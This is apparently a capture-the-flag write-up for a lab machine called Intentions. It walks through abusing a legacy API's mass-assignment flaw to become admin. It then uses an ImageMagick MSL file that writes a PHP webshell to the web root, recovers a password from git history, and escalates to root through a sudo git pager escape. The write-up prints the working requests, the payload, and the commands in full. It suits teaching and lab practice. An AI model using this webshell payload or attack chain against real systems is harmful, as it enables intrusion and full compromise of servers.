Recon
Two ports — SSH and a Laravel photo gallery application. The complexity on this Hard box comes from the exploitation chain, not the port count.
$ nmap -sC -sV -oN nmap/initial 10.129.6.1 22/tcp open ssh OpenSSH 8.9p1 80/tcp open http nginx 1.18.0 |_http-title: Intentions
Enumeration
The app is a photo gallery with user registration. After registering and logging in, I explored the API. The app has two API versions: /api/v2 is the current one (with stricter checks) and /api/v1 is an older version still active.
$ curl -s -H "Authorization: Bearer $TOKEN" http://intentions.htb/api/v2/gallery/user/genres {"status":"error","message":"Forbidden"} $ curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"genres":"1,2,3"}' http://intentions.htb/api/v1/gallery/user/genres {"status":"success"}
v1 accepts the request. Testing mass assignment — I added an admin flag to the JSON body:
"admin":1 in the genres update request successfully escalates the user to admin role — the field is accepted and persisted without server-side validation.
$ curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"genres":"1","admin":1}' http://intentions.htb/api/v1/gallery/user/genres {"status":"success","user":{"id":5,"name":"test","email":"test@test.com","admin":1}}
Admin. The admin API exposes an image editing endpoint that accepts a file path for processing with ImageMagick.
Foothold
The admin image editor passes a user-supplied path to ImageMagick. ImageMagick supports a pseudo-protocol vid:msl: that loads a Magick Scripting Language (MSL) file — which can perform arbitrary file operations including copying files.
I created a malicious MSL file that copies a PHP webshell to the web root, uploaded it to the gallery as a fake image, then triggered the image processor with the vid:msl:/path/to/msl URI.
# MSL payload — copies PHP webshell to web root via ImageMagick <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php system($_GET['cmd']); ?>" /> <write filename="/var/www/html/intentions/public/shell.php" /> </image>
# trigger ImageMagick to load our MSL file $ curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d '{"path":"vid:msl:/tmp/evil.msl","effect":"none"}' \ http://intentions.htb/api/v2/admin/image/edit $ curl "http://intentions.htb/shell.php?cmd=id" uid=33(www-data) gid=33(www-data)
Reverse shell as www-data. Searched git history for credentials:
www-data@intentions:/var/www/html/intentions$ git log --all --oneline 36b4b99 (HEAD) Fix image processing d8e1d76 Update dependencies 1a52a76 Add admin functionality f5b45ab Initial commit — greg credentials: greg:Gr3g_is_the_b3st $ su greg greg@intentions:~$
Privilege Escalation
greg@intentions:~$ sudo -l (root) NOPASSWD: /usr/bin/git *
sudo git with wildcard arguments. GTFObins git pager escape: sudo git -p help config opens the help in less — type !bash to spawn a root shell.
greg@intentions:~$ sudo git -p help config # less pager opens — type: !bash root@intentions:/home/greg# id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- Legacy API versions (v1) often have weaker authorization than current versions — always enumerate both when versioned APIs are present; the v1 endpoint may still be live and exploitable.
- Mass assignment in API request bodies is a BOLA variant: if the server blindly accepts all JSON fields without an allowlist, client-supplied
admin:1will work. - ImageMagick's MSL scripting language enables arbitrary file write through the image processing pipeline — any feature that passes user-controlled paths to ImageMagick is dangerous.
- Git commit history retains deleted credentials permanently unless the repo is rewritten — review git log on any repository found during post-exploitation.